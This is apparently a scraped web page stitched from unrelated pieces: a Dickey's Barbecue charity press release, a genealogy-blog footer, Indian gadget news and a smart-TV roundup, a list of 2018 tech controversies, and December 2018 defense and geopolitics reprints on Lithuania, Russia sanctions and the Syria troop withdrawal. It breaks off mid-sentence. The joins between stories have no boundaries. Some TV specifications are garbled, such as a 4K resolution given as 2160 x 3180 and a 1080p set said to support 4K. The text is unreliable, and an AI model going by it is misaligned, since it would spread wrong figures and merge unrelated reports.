Franchising.com // Dallas, TX - The Dickey Foundation, the Dickeys Barbecue Pit charitable organization, recently outfitted the entire Dallas Police Department with top-of-the-line ballistic vests. The Dickey Foundation sets out to protect those that so bravely serve communities across the nation. Over the past year, Dickeys Barbecue Pit and The Dickey Foundation have worked together locally in the Dallas area to raise the funds to gift more than 2,000 vests to Dallas local heroes. As the founder of The Dickey Foundation, it is my honor to be a part of such a giving Dallas community, says Maurine Dickey, Founder of The Dickey Foundation. Without the support of the folks in our area, we would not have been able to gift these ballistic vests to the brave men and women of the Dallas Police Department. Though The Dickey Foundations reach is national, the efforts are intensely local and Dickeys Barbecue Pit owners across the nation give back to their first responders and do so as often as they can. Donate to The Dickey Foundation: http://www.bbabfoundation.org/. Follow Dickeys on Facebook: https://www.facebook.com/dickeysbarbecuepit/, Instagram: https://www.instagram.com/dickeysbarbecuepit/, and Twitter: https://twitter.com/dickeys. About The Dickey Foundation Since 1941, Dickeys Barbecue Pit has taken great pride in our Texas style barbecue and our commitment to the communities we serve. It is in that spirit, that The Dickey Foundation was created. The Dickey Foundation supports first responders who protect and unite our communities. Our Foundation is national but our efforts are intensely local, focusing on financial support, public education and providing the equipment necessary for the safety of our first responders. About Dickeys Barbecue Restaurants, Inc. Dickey's Barbecue Restaurants, Inc., the nation's largest barbecue chain was founded in 1941 by Travis Dickey. For the past 77 years, Dickeys Barbecue Pit locations across the nation have served guests Legit. Texas. Barbecue. At Dickeys, all meats are smoked low and slow on-site, every night in every location. The Dallas-based family-run barbecue franchise offers several slow-smoked meats and wholesome sides with 'No B.S. (Bad Stuff)' included. The fast-casual concept has expanded worldwide and includes more than 500 locations in 44 states. In 2016, Dickey's won first place on Fast Casual's "Top 100 Movers and Shakers" list and in 2018 Dickeys Barbecue Pit made the Top 10. Dickey's Barbecue Pit has also been recognized by Entrepreneur Magazine, Franchise Times and Nation's Restaurant News. For more information, visit www.dickeys.com. Media Contact: Callie Head Dickeys Barbecue Restaurants, Inc. O: (972) 248-9899 x 156 SOURCE Dickeys Barbecue Restaurants, Inc. ### Comments: Please enable JavaScript to view the comments powered by Disqus. Disqus Welcome to my genealogy blog. Genea-Musings features genealogy research tips and techniques, genealogy news items and commentary, genealogy humor, San Diego genealogy society news, family history research and some family history stories from the keyboard of Randy Seaver (of Chula Vista CA), who thinks that Genealogy Research Is really FUN! Copyright (c) Randall J. Seaver, 2006-2021. U.S. Congress supports Georgia with a new bill - GeorgianJournal Exclusive: Targus aims stronger footprint in 2019 with new devices News oi-Priyanka Dua Targus launched a portable TurboQuad USB Travel charger which provides 4.8A total charging power across four USB ports, helping you charge four devices at the same time. In an attempt make a strong foothold and increase its market presence in India, Targus, a US-based accessories brand is all set to launch a slew of new products in 2019. "We will be showcasing Travel Dock (build for using various USB devices and peripherals) in CES first and in Q1 of the next year we will launch this product in India," Targus Director Marketing APAC Edith Ka, told Gizbot. "We will be launching other products as well in the country such as docking station and backpacks," she added. Meanwhile, the company is also tied up with several cosmetic brands to increase brand awareness in the country. "We have been here for 10 years but a lot of people are not aware of us thats why we have decided to join hands with cosmetic and luggage brands in India," she further said. The company is also in talks with Dell, Lenovo and HP co-branding on backpacks. "We are open to this opportunity but right now we have a quite stable supply line, Edith Ka replied when asked about setting up manufacture plant in India. Back in July this year, Targus launched a portable TurboQuad USB Travel charger which provides 4.8A total charging power across four USB ports, helping you charge four devices at the same time. The TurboQuad charger comes equipped with the Smart Detection feature on each USB, which can automatically detect the exact charge required to fuel up the connected devices and deliver maximum charging speed accordingly. With its total output up to 5V 4.8A, it can fast charge almost any phone or tablet. Founded in 1983, Targus' headquarters are located in Anaheim, California with offices situated worldwide and distribution agreements in more than 100 countries. Best Mobiles in India Samsung Q900R 85-inch 8K QLED TV Samsung is best known for the displays it offers on its devices. We have seen the company's ingenuity in designing some best in class display panels. While Samsung smartphones no doubt pack some impressive display panels, the Samsung TVs are also not left behind. The first best smartTV in our list is the Samsung 85-inch 8K QLED TV. The Samsung 85-inch 8K QLED TV as the name suggests supports 8K resolution with 4,320 x 7,680 pixels and a peak brightness of 4,000nits and HDR10+ support. This not only makes the display bright but also crisp and vivid. It is best suited for high-resolution video consumption. The TV supports Ambient Mode which shows information such as news headlines, photos among others when it not in use. The display also comes with Bixby, voice commands, personal recommendations, the automatic mode detection among other features. Philips Ambilight 4K Ultra HD TVs The second smartTV in our list is from the Dutch multinational brand Philips. The Philips Ambilight 4K Ultra HD TV lineup. Philips had launched the Ambilight 4K Ultra HD lineup back in 2015 but it is still among the best available smart TVs this year. The 4K resolution TV offers amazing picture quality and also packs the features which you can get in the smart TVs available today. It allows users to access social media websites, play games along with some third party apps such as YouTube, Skype, Vimeo, and others. The Ambilight is an ambient lighting technology which is patented exclusively for the Philips TVs. The Ambilight technology allows the users to enjoy immersive viewing experience on the TVs. The Philips Ambilight TVs comes with an active 3D feature allowing us to enjoy higher resolution than the passive 3D technology with better image depth and improved color production. One of the other features includes a Philips Micro Dimming Pro which delivers deeper blacks and brighter whites. The Ambilight smartTV lineup from Philips comes in three different panels including 50-inch, 55-inch, and 65-inch and is priced starting Rs 1,55,000 going all the way up to Rs 3,72,500. Xiaomi Mi TV 4A Xiaomi is known as a budget king as the company has a plethora of devices which are easy on our pockets. It's not just smartphones in which the tech giant has expertise; the tech giant also has a strong hand in smart TVs, smartwatches and other accessories. The third smart TV on our list is from Xiaomi and the TV is Mi TV 4A. The Xiaomi Mi TV 4A was announced back in April this year and it offers an immersive video watching experience on a budget price tag. The Mi TV 4A comes in two sizes including a 32-inch panel and a 43-inch display panel. The Full HD LED display panel offers a screen resolution of 1080 x 1920 pixels and supports 4K resolution. The Mi TV 4A runs on PatchWall OS based on Android Marshmallow and also has AI capabilities. Users can browse through 500+ hours of content. The connectivity aspects include three HDMI ports and three USB 2.0 ports. The Mi TV 4A comes with a starting price of Rs 22,999 and is the best affordable 4K smart TV available in the market. LG B8 OLED smart TV The South Korean tech giant LG is one of the established big players in the market and is known for a wide range of products it offers. LG has a forte in smartphones, TVs and other consumer electronics products. As we are covering the smart TVs, LG is not left behind. The fourth smart TV in this list is LG B8 OLED TV. The LG B8 OLED smart TV is an affordable offering by the tech giant which was first announced at CES 2018. The LG B8 OLED TV offers a sleek design and comes in two sizes including a 55-inch and 65-inch display panel. Backed by WebOS the AI ThinQ enabled LG B8 OLED TV supports HDR10 and Dolby Vision content which allows for an enhanced video watching experience. The TV supports third-party streaming services including Amazon Prime Video, Netflix, YouTube, and others. Samsung QLED (NU800) The final TV which comes in this list is the Samsung QLED (NU800). The ultra-slim TV offers a frameless design and supports 4K resolution. The 65-inch UHD screen offers a max resolution of 2160 x 3180 pixels. The QLED display panel on the TV supports HDR10 mode and offers an immersive viewing experience with bright and crisp color production. Similar to the other smart TVs in the list the Samsung QLED (NU800) also supports internet connectivity and some third party apps such as Netflix, Amazon Prime Video, YouTube and Facebook among others. Verdict The above mentioned smart TVs are the top five picks of 2018. If you are an entertainment buff and want a perfect big screen TV with high-resolution compatibility and some premium features, you can consider the above-mentioned products. Facebook Facebook seemed like an unstoppable force with its skyrocketing growth in stock prices, and unparalleled success in the social media space. But the social media goliath found itself in the midst of a controversy. Facebook was accused of allowing Cambridge Analytica, a London-based political consulting firm, to harvest user data from its platform. The consulting firm used close to 50 million users' data, but the number later surged to 87 million accounts. Well, after being in the spotlight for months for its participation in Donald Trump's 2016 presidential campaign, Cambridge Analytica and its parent company SLC Group were shut down. The severe outcry following the controversy forced the CEO Mark Zuckerberg undergoing intense questioning before the US Senate. This also affected the company's financial goals. In July, Facebook announced a sluggish growth than expected, while the stock prices saw a huge decline costing up to $120 billion its market value. Google Google was recently accused of showing biased search results against conservative points of view. In a hearing titled "Transparency & Accountability: Examining Google and its Data Collection, Use, and Filtering Practices," CEO Sundar Pichai testified before the House Judiciary Committee. The narrative has been much talked over the past year, as Republican lawmakers - and even President Donald Trump have questioned Google and other search engines of subduing conservative voices. Pichai repeatedly stressed that Google's algorithm doesn't favor any such ideology, but instead focuses on the relevant results, which could be affected depending on the user's location or other factors. Claiming up to 90 percent of the market share, Google is the most used search engine across the globe, but the algorithm that provides the search results are complex and opaque. Many of its contemporaries have accused the search giant of pushing its own services, like maps, jobs postings, business reviews and travel information above other links and websites. In 2017, the company was fined $2.7 billion by EU over antitrust issues for its shopping results. Apple Apple faced a ton of criticism from its users when it was found out that changes were made to iOS in order to slow down the performance of the older iPhones as their batteries degrade beyond a specific point. Termed as "throttling," the iPhone maker practiced it throughout 2017. CEO Tim Cook tried defending the use of throttling to keep the batteries efficient, but later admitted that it was a mistake not being transparent about its actions. That wasn't enough to curb the critics, as the practice was seen as a way to force users into upgrading to the latest models of the iPhone. The controversy seems to have affected Apple's reputation and the trust of its loyal user base. Besides, there have been reports that the company is still under investigation whether it has violated any security laws while practicing mobile throttling. Huawei Huawei, which is known for its networking equipment and smartphones, was poised at expanding its reach to the US. But, the company took a major blow when these plans came to a halt due to international political concerns. Back in January, the company was expected to announce that major mobile carriers in the US like AT&T and Verizon Wireless would power its flagship Mate 10 smartphones in the market. But the tie-up never came to fruition as the telecom companies reportedly backing out due to concerns raised by the US government agencies regarding Huawei's relation with the Chinese authorities. Broadcomm-Qualcomm In November 2017, Broadcomm offered $117 billion to acquire communications chip manufacturer Qualcomm. Initially, Qualcomm rejected the offer, but later in January 2018, both companies were reportedly in talks again. But, Broadcomm's offer was caught in a trap after Donald Trump's US-first trade policies and what seemed like a normal takeover became a political issue. This was followed by a national security review of Broadcomm. Later, Trump ordered to halt the deal citing national security concerns, saying it would give China a lead in the mobile technology over the US. As a result, Broadcomm also had to abandon its plans of acquiring Qualcomm. ZTE Chinese firm ZTE also fell prey to the political and economic battle between the US and China. In April this year, US Department of Commerce announced that ZTE has failed violated the US embargo by providing its services in Iran. The US then banned the sales of US-made components to ZTE such as the Qualcomm processors for ZTE phones. this led to ZTE shutting all its operations in the US. But, surprisingly President Donald Trump tweeted about bringing ZTE back in business. The move was seen as an effort to rebuild the trading relationship between the two countries by some, while others criticized it of being a weak move for the POTUS. Finally, in June ZTE was asked to pay $1.4 billion fine and make alterations to its executive team in order to continue operations on the US soil. Intel Intel's 2018 kickoff wouldn't be a one to cherish as it faced major issues in the form of two big processor vulnerabilities that were known as Spectre and Meltdown. Initially, the company called the reports inaccurate, ignoring their severity. But later the company confirmed that the Meltdown and Spectre flaws are slowing the performance of its devices. However, the company also claimed that average users would not be affected. The vulnerabilities were believed to spread across multiple generations of microprocessors used by numerous servers, laptops, smartphones, and others. The company, as a result, had to launch a threat mitigation program that comprised of an operating system and firmware updates to rectify the vulnerabilities. Lithuania Arrests Several Citizens Suspected Of Spying For Russia December 19, 2018 Several Lithuanians have been arrested and charged with spying for Russia, the Baltic state's chief prosecutor said, drawing an angry reaction from Moscow. One of the suspects is Algirdas Paleckis, a politician who is known for pro-Russian views and has questioned Lithuania's membership of NATO and the European Union, Prosecutor-General Evaldas Pasilis said on December 19. Pasilis did not specify how many people were arrested. Russian Foreign Ministry spokeswoman Maria Zakharova called the arrests "another Russophobic move" and a "reversal of democratic rights and freedoms" in Lithuania. She did not explain the grounds for those statements. Since 2014, when Russia increased concerns among neighbors about its intentions by seizing Crimea and backing separatists in a war in eastern Ukraine, Lithuanian courts have convicted five people of spying for Russia or Belarus. One person charged with spying for Russia is currently on trial, while investigations against six other suspected Russian spies are under way. In July 2017, a court in Vilnius sentenced a Russian security official, Nikolai Filipchenko, to 10 years in prison after finding him guilty of attempting to recruit local officials to bug the home of the country's president. Based on reporting by Delfi, Interfax, and TASS Source: https://www.rferl.org/a/lithuania-arrests-several-citizens- suspected-of-spying-for-russia/29665594.html Copyright (c) 2018. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Russian Businessman Perepilichny Likely Died Of Natural Causes, U.K. Inquest Finds By RFE/RL December 19, 2018 A Russian businessman who was found dead in southern England six years ago likely died of natural causes, a British inquest has found. Aleksandr Perepilichny collapsed while out jogging near his home south of London in November 2012, and there has been speculation that he might have been murdered. "I am satisfied on the evidence I have heard I can properly and safely conclude that it was more likely than not that he died of natural causes, namely sudden arrhythmic death syndrome," Nicholas Hilliard, who led the inquest into Perepilichny's death, said on December 19. "There really is no direct evidence that he was unlawfully killed," Hilliard added. Perepilichny, a Russian tycoon and Kremlin critic who sought refuge in Britain in 2009, had been helping a Swiss investigation into a massive Russian money-laundering scheme. He also provided evidence against Russian officials linked to the 2009 death of anticorruption lawyer Sergei Magnitsky in a Moscow prison. Hilliard also said that London police contacted him this month to confirm they were not conducting an investigation into Perepilichny's death and that there was no evidence of "any hostile state actor" being involved. In September, Hilliard ruled that material about possible links between Perepilichny and British spy agencies would remain secret. He said the material was "marginal" to resolving the question of how the businessman died and that releasing documents from British spy agencies MI5 and MI6 relating to Perepilichny could harm national security. The British government earlier said police had completed a review of the Perepilichny case and 13 other deaths linked to Russia following the poisoning of Russian double agent Sergei Skripal and his daughter in the English city of Salisbury in March. It concluded there was no need to reopen any investigation. Britain blames the Russian government for the poisoning of the Skripals with the nerve agent Novichok. Moscow denies any involvement. With reporting by Reuters Source: https://www.rferl.org/a/russian-businessman- perepilichny-likely-died-of-natural-causes -u-k-inquest-finds/29665636.html Copyright (c) 2018. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address U.S. Targets GRU Officers Linked To Hacking, Skripal Poisoning With New Sanctions By Mike Eckel December 19, 2018 WASHINGTON -- The United States has imposed new sanctions on more than a dozen current and former Russian military intelligence agents, including two tied to the poisoning of a former Russian spy in England earlier this year and one linked to Kremlin-connected oligarch Oleg Deripaska. The Treasury Department also said on December 19 that it would lift sanctions on three companies tied to Deripaska, including the giant metals producer Rusal, and its parent company, EN+, after Deripaska cut his stakes in them. A billionaire with ties to President Vladimir Putin's inner circle, Deripaska was blacklisted earlier this year by Washington as part of a wider group of business tycoons that the United States said was involved in spreading "malign activities" around the world. But those sanctions sent shudders through global aluminum markets, because of Rusal's prominence, prompting U.S. authorities to revisit the actions to prevent supply disruptions. The Treasury announcement said it will lift the restrictions on Rusal, En+, and a third company in 30 days. Sanctions targeting Deripaska himself will remain in place. The Treasury also identified 15 members of Russia's military intelligence agency, known as the GRU, and said they were targeted "in response to Russia's continued disregard for international norms," according to the statement. Most of those named had been previously listed in other U.S. blacklists or U.S. criminal indictments. "The United States will continue to work with international allies and partners to take collective action to deter and defend against sustained malign activity by Russia, its proxies, and intelligence agencies," Treasury Secretary Steven Mnuchin said. Four were indicted in October for past attempts to hack the computers of the Organization for the Prohibition of Chemical Weapons, in The Hague, and the World Anti-Doping Agency, in Canada. The chemical weapons agency had been involved in the investigation into the Skripal poisoning, while the doping agency assisted investigators looking at Russia's state-sponsored athlete doping program during the 2014 Sochi Winter Olympics. Another seven had been indicted by U.S. Special Counsel Robert Mueller in July on charges related to reported interference in the 2016 U.S. presidential election. Two were identified as Aleksandr Petrov and Ruslan Boshirov, whom British authorities have blamed for the March poisoning of Sergei Skripal and his daughter, Yulia, in the English town of Salisbury. Two other British citizens were exposed to the nerve agent in June, apparently by accident; one of them, Dawn Sturgess, died. London was joined by Washington and other European allies in expelling dozens of Russian diplomats in the wake of the incident. Moscow has denied any involvement. The U.S. measures also targeted an ex-military intelligence officer named Victor Boyarkin, who it said reported directly to Deripaska and allegedly worked with Deripaska to fund a Montenegrin political party ahead of the 2016 elections there. The political party was not named, and the Treasury statement gave no further details. Montenegrin officials have accused Russia of trying to interfere in the campaign leading up to the October 2016 parliamentary elections, a vote that occurred as the country's leadership was negotiating to join NATO. Prosecutors later said Russia was behind an attempted coup that aimed to occupy parliament, assassinate then-Prime Minister Milo Djukanovic, and install a pro-Russian leadership to halt Montenegro's bid to become a NATO member. Moscow rejects the accusations. The December 19 Treasury move also added sanctions against several companies, and one individual, that have been linked to interference in the 2016 U.S. presidential election, including something called Project Lakhta, which U.S. authorities say was used to oversee the interference campaign. Source: https://www.rferl.org/a/u-s--sanctions- gru-officers-petrov-boshirov-kripal- poisoning-hacking/29665809.html Copyright (c) 2018. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address UAE reports 'positive' results from latest round of US-Taliban talks Iran Press TV Wed Dec 19, 2018 07:14PM The United Arab Emirates has reported tangible and positive results from the latest round of talks between the United States and Afghanistan's Taliban militant group which was held in the capital Abu Dhabi. The "US-Taliban reconciliation talks" produced "tangible results that are positive for all parties concerned," state news agency WAM said Wednesday. A new round of talks would be held in Abu Dhabi "to complete the Afghanistan reconciliation process," the new agency said, without elaborating. Officials from Saudi Arabia and Pakistan also attended the two days of discussions, which began in the city on Monday. The meetings are the latest in a flurry of diplomatic efforts aimed at putting an end to a 17-year-old war in Afghanistan which began with the US invasion in 2001. The US State Department's special envoy, Zalmay Khalilzad, said he held "productive" meetings in Abu Dhabi with Afghan and international partners "to promote intra-Afghan dialogue towards ending the conflict." A peace negotiations team of the Kabul government also traveled to Abu Dhabi "to begin proximity dialogue with the Taliban delegation and to prepare for a face-to-face meeting between the two sides," the Afghan presidential spokesman Haroon Chakhansuri said. The Taliban, however, has not acknowledged meeting Afghan officials. The group said Tuesday they had held "preliminary talks" with Khalilzad. The militant group also said they had held "extensive" meetings with delegates from Pakistan, Saudi Arabia and the UAE - the only three countries to recognize the Taliban government during its five-year rule in the late 1990s, reiterating demands for international troops to be withdrawn from Afghanistan. The Taliban's five-year rule over at least three quarters of Afghanistan came to an end in the wake of the US-led invasion, but 17 years on, the militant group continues to flex its muscles against the government and the foreign troops remaining on Afghan soil. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US forces establish new base in Iraq near border with Syria: Report Iran Press TV Wed Dec 19, 2018 06:06PM US forces have established a new military base in Iraq's western province of Anbar near the border with neighboring Syria in defiance of widespread calls to end its military presence in the Middle East region. "American troops have built the military base in the al-Maliha area near the town of al-Qa'im, which is located nearly 400 kilometers northwest of the capital Baghdad and along the Euphrates River," Iraq's independent Arabic-language newspaper al-Mashriq quoted the town's mayor Ahmed al-Mahalawi as saying. Mahalawi added, "The new base is close to the borderline with Syria, apparently aimed at monitoring the border to protect the US forces deployed inside Syria near the Iraqi-Syrian border." The mayor noted that the military base is the second of its kind established in the Rumana subdistrict of Qa'im district. Another base was set up earlier this month. Separately, Frahan al-Dulaimi, a member of Anbar provincial council, said US forces "had not informed provincial authorities about the military bases." Dulaimi added that "the provincial council has no power to prevent US forces from building bases in the desert region of the province." Over 5,000 US troops have reportedly been deployed in Iraq to support government forces during the battles against Daesh Takfiri terrorists. Former Iraqi prime minister Haider al-Abadi declared the end of military operations against Daesh in the Arab country on December 9, 2017. On July 10 that year, he had formally declared victory over Daesh in Mosul, which served as the terrorists' main urban stronghold in Iraq. In the run-up to Mosul's liberation, Iraqi army soldiers and volunteer Hashd al-Sha'abi fighters had made sweeping gains against Daesh. Iraqi forces took control of eastern Mosul in January 2017 after 100 days of fighting, and launched the battle in the west on February 19 last year. Daesh began a terror campaign in Iraq in 2014, overrunning vast swathes in lightning attacks. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address White House: U.S. Troop Withdrawal From Syria Begins, But Campaign Against IS Continues By RFE/RL December 19, 2018 The United States has started bringing home troops from Syria as it moves to a new phase in the campaign against the Islamic State (IS) extremist group, the White House says. The militant's "territorial caliphate" had been defeated, White House spokeswoman Sarah Sanders said in a statement on December 19, amid media reports saying that the United States was preparing to withdraw all its troops from Syria. "These victories over [the IS group] in Syria do not signal the end of the Global Coalition or its campaign. We have started returning United States troops home as we transition to the next phase of this campaign," Sanders said. Earlier, President Donald Trump tweeted the IS group had been defeated in Syria and that was his "only reason for being there." There are currently around 2,000 American troops in Syria, many of them special operations forces working with an alliance of Kurdish and Arab militias battling the IS group. Most U.S. soldiers are based in northeastern Syria, where they had been helping to rid the area of IS fighters, but pockets of militants still remain. CNN quoted a defense official as saying on December 19 that the planning was for a "full" and "rapid" pullout. And CBS said it was told that the White House ordered the Pentagon to "begin planning for an immediate withdrawal." The coalition has "liberated" the IS-held territory, but the campaign against the group "is not over," Pentagon spokeswoman Dana White said. "For force protection and operational security reasons we will not provide further details. We will continue working with our partners and allies to defeat ISIS wherever it operates," White said in a statement, using an acronym for Islamic State. The Russian Foreign Ministry said the decision to withdraw U.S. troops from Syria creates prospects for a political settlement of the conflict there, according to the TASS news agency. Russia has repeatedly asserted that U.S. forces have no right to be in Syria because Syrian President Bashar al-Assad's government has not approved their presence. Republican Senator Lindsey Graham said a decision by Trump to withdraw troops from Syria at this time would be "a mistake" and a "big win" for the IS group, Assad, and its allies -- Russia and Iran. Both Moscow and Tehran have given Assad crucial support throughout the Syrian conflict, which began with a government crackdown on protesters in March 2011 and has left more than 400,000 people dead, displaced millions, and devastated many historical sites across the country. In 2014, IS fighters seized large swaths of Syrian and Iraqi territory in a lightning offensive and proclaimed a so-called Islamic "caliphate." IS militants have lost virtually all the territory they once controlled in Iraq, but still carry out sporadic attacks. With reporting by Reuters, AFP, and the BBC Source: https://www.rferl.org/a/reports-u-s- planning-complete-withdrawal-of-troops- from-syria/29665494.html Copyright (c) 2018. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Kosovo Creates Govt Panel to Work on NATO Accession Sputnik News 22:24 19.12.2018 BELGRADE (Sputnik) - The authorities of Kosovo have set up an intergovernmental commission which will manage issues related to the self-proclaimed republic's accession to NATO, Prime Minister Ramush Haradinaj said on Wednesday following phone talks with NATO Secretary General Jens Stoltenberg. "Today I had a friendly phone conversation with NATO Secretary General Jens Stoltenberg I informed [Stoltenberg] about the concrete steps taken by the Kosovo government on the creation of an intergovernmental commission on NATO integration and membership," Haradinaj said on Facebook adding that the new panel would look at different approaches to Kosovo's accession to the alliance. Last week, the parliament of Kosovo passed a set of bills providing for the change of mandate of the Kosovo Security Force (KSF) and its transformation into the republic's national army. Commenting on the move, Stoltenberg said he regretted Kosovo's decision to create a national army, adding that NATO would be forced to review its level of engagement with the KSF. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US Started Returning Troops Home From Syria - White House Sputnik News 16:52 19.12.2018(updated 21:22 19.12.2018) WASHINGTON (Sputnik) - Earlier on Wednesday, The Wall Street Journal reported that the US military was preparing to withdraw all of its forces from northeastern Syria. The United States is moving on to the next phase in its campaign in Syria against the Daesh* terrorist group, and will continue to work with its allies to fight the radical group, White House spokeswoman Sarah Huckabee Sanders said in statement on Wednesday. "We have started returning United States troops home as we transition to the next phase of this campaign," Sanders said. "The United States and our allies stand ready to re-engage at all levels to defend American interests whenever necessary, and we will continue to work together to deny radical Islamist terrorists territory, funding, support and any means of infiltrating our borders." Following the announcement, the US official stated that in 24 hours, all US State Department staff will be evacuated from Syria adding that it is expected that the troops will return home within 60 to 100 days. Later in the day, the Department of Defence confirmed the pullout of US forces from Syria, without providing any further details due to security reasons, chief spokesperson Dana White said in a statement to Sputnik. "We have started the process of returning US troops home from Syria as we transition to the next phase of the campaign," White said, referring to the campaign against the Daesh terror group. "For force protection and operational security reasons we will not provide further details." The move comes after US President Donald Trump said earlier in the day in a Twitter statement that the Daesh terrorist group has been defeated in Syria, adding that this was the only reason for the United States to be in the Middle Eastern country during his presidency. However, later in the day, US Defense Department spokesperson Robert Manning told Sputnik that the US is continuing to work with its partners in Syria amid reports that President Donald Trump's administration has decided to pull US troops out of the Middle Eastern country. "At this time, we continue to work by, with and through our partners in the region," Manning noted. Commenting on the move, US Senator Lindsey Graham said in a statement that the Trump administration's reported plan to withdraw all military service members from Syria would be a big mistake and put the United States' allies in the region at risk. "If these media reports are true, it will be an Obama-like mistake made by the Trump Administration," Graham said. "An American withdrawal will put the Kurds and all those who came to America's aid in destroying ISIS at tremendous risk." Last week, Department of Defence spokesperson Col. Rob Manning said that the US has finalised the establishment of observation posts in northeast Syria and will be coordinating with Turkey its security efforts in the border region. The US-led coalition and its majority-Kurd Syrian Democratic Forces (SDF) allies have ramped up a campaign against the remnants of Daesh holed up in several towns east of the Euphrates River. The Syrian government has repeatedly accused the coalition of using white phosphorus and cluster bombs in the region, and of causing heavy civilian casualties in built-up areas. The coalition has confirmed carrying out a heavy campaign of airstrikes in the area, including in the city of Hajin, but has denied that the strikes are causing mass civilian casualties, and adamantly denied using banned white phosphorus and cluster munitions. Since early November, Sputnik has reported on the deaths of nearly 200 civilians in coalition strikes in Hajin and al-Shaafa. *A terrorist group outlawed in Russia and many other countries. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US Navy Mulls Moving Sub-Hunters to Alaska to Track China, Russia Sputnik News 00:42 19.12.2018 The US Navy is considering whether to deploy submarine-hunting P-8 Poseidon aircraft to a Cold War-era base in Alaska in an effort to keep a closer eye on Chinese and Russian movements in the Arctic. "Our Russian friends are warming up five airstrips and 10,000 Spetsnaz troops [in the Arctic] for quote unquote search and rescue. The Chinese are up there. Everybody is up there," US Navy Secretary Richard Spencer told lawmakers last week. "Everybody but us," fired back Alaska Senator Dan Sullivan. "If I had a at blank check for everything, it would be terrific to ice-harden ships, but with the demand we have right now it is unaffordable," Spencer said at a hearing December 14 before the Senate Armed Services Committee. But "we need to get up there. I can commit to the fact that we're trying to figure out how we do service that." After the hearing, Spencer told Breaking Defense that the airstrip on the island of Adak a remote island hundreds of miles from the Alaskan coast on the Aleutian island chain is in "great shape." In order to make the airfield useable for the Navy, the service branch would have to pay for hangar cleanup, but besides that, "it really isn't a big bill." Previously, Navy officials estimated some $1.3 billion would be needed to reopen the Adak base, but Spencer told lawmakers that the Navy could get away with spending less to get the base up and running. The Arctic region is estimated to hold 15 percent of the world's remaining oil and as much as 30 percent of global natural gas deposits. On Tuesday, Russian Defense Minister Sergei Shoigu acknowledged US plans in the Arctic at a year-end session held by the Russian Defense Ministry's board. "Since August, the second operational fleet of the US Navy is being created. Its main task will be to expand US military presence in the Arctic," Shoigu said. Russian Rear Admiral Viktor Kochemazov, head of combat training for the Russian Navy, said in 2017 that "in the future, we plan to further increase our presence in the Arctic region as a matter of national state security," Sputnik reported. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Bulgaria's Defense Modernization Press Statement Michael R. Pompeo Secretary of State Washington, DC December 19, 2018 The United States welcomes Bulgaria's defense modernization plans and looks forward to the country's imminent selection of a new multirole fighter aircraft. As I emphasized during my phone call with Prime Minister Boyko Borissov on December 18, and as Deputy Secretary Sullivan underlined during his visit to Sofia last weekend, the United States is committed to working with the Bulgarian government to tailor the final scope of a potential F-16 sale to fit its budgetary and operational requirements, while still offering superior capabilities. The United States has provided more than $200 million in security assistance to Bulgaria over the last 25 years to increase military professionalization and NATO interoperability. The United States has also invested more than $100 million in upgrades to the Novo Selo Training Center and Graf Ignatievo air base as part of the European Deterrence Initiative, and plans to continue such upgrades in the future. The United States will continue to prioritize investments with Bulgaria that build NATO interoperability. The United States looks forward to completing final negotiations with the Bulgarian government. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address White House: US Starts Withdrawing Troops From Syria By Jeff Seldin December 19, 2018 The White House said Wednesday the United States has begun withdrawing troops from Syria, shortly after U.S. President Donald Trump tweeted the U.S. has defeated the Islamic State terror group there. "We have started returning United States troops home as we transition to the next phase of this campaign," White House spokesperson Sarah Sanders said in a statement. She added the defeat of IS does not mean the military campaign by coalition forces is ending in Syria. "The United States and our allies stand ready to re-engage at all levels to defend American interests whenever necessary, and we will continue to work together to deny radical Islamist terrorists territory, funding, support, and any means of infiltrating our borders," Sanders said. Later on Wednesday, Pentagon spokesperson Dana White said in a statement that "the coalition has liberated ISIS-held territory, but the campaign against ISIS is not over." ISIS an acronym for the Islamic State terror group. "We will continue working with our partners and allies to defeat ISIS wherever it operates," she said, giving no details as to a timeline, noting "force protection and operational security reasons." Just last week, U.S. special presidential envoy for the global coalition to defeat ISIS, Brett McGurk, told reporters at the State Department that liberating the last one percent of IS-held territory could take "a period of months." "There is a significant concentration of the most hardened ISIS fighters in that little splotch of territory," McGurk said on December 11. "A couple of thousand hardened fighters remain in that area." Pentagon estimates from August of this year warned IS still had at least 13,000 fighters in Syria, where the caliphate had already collapsed. A withdrawal of the troops would mark a sudden reversal in U.S. military strategy in the region. Defense Secretary Jim Mattis and other senior U.S. officials have been advocating for a longer-term military presence in Syria to help ensureIS cannot reemerge as a force in the Middle East.The U.S. has about 2,000 troops in Syria, many of whom work closely with an alliance of Kurdish and Arab militias known as the Syrian Democratic Forces. Despite the Pentagon's preference for an ongoing military presence in the war-torn country, Trump has said he wanted to bring the troops home when possible. Reuters quoted a U.S. official as sayingthe State Department is evacuating all personnel from Syria over the next 24 hours and that the time frame for the troop withdrawal is 60 to 100 days. Lawmakers weighed on Wednesday's announcement of the U.S. withdrawal from Syria, with Senate Armed Services Committee member Lindsey Graham tweeting, "Withdrawal of this small American force in Syria would be a huge Obama-like mistake." Former President Barack Obama drew the ire of Trump for withdrawing U.S. forces from Iraq before Iraqi forces collapsed at the hands of IS in 2014. Sen. Rand Paul, a member of the chamber's Committee on Foreign Relations, praised the move on Twitter. Harry Kazianis, a defense expert with the Washington-based think-tank Center for the National Interest, said the Trump decision should not be seen as a shock. "In fact, with President Trump promising to the American people he would act only in the national interest and that U.S. forces have accomplished their objective to defeat the Islamic State there was no reason for them to stay any longer," Kazianis said. Mattis and State Department officials have 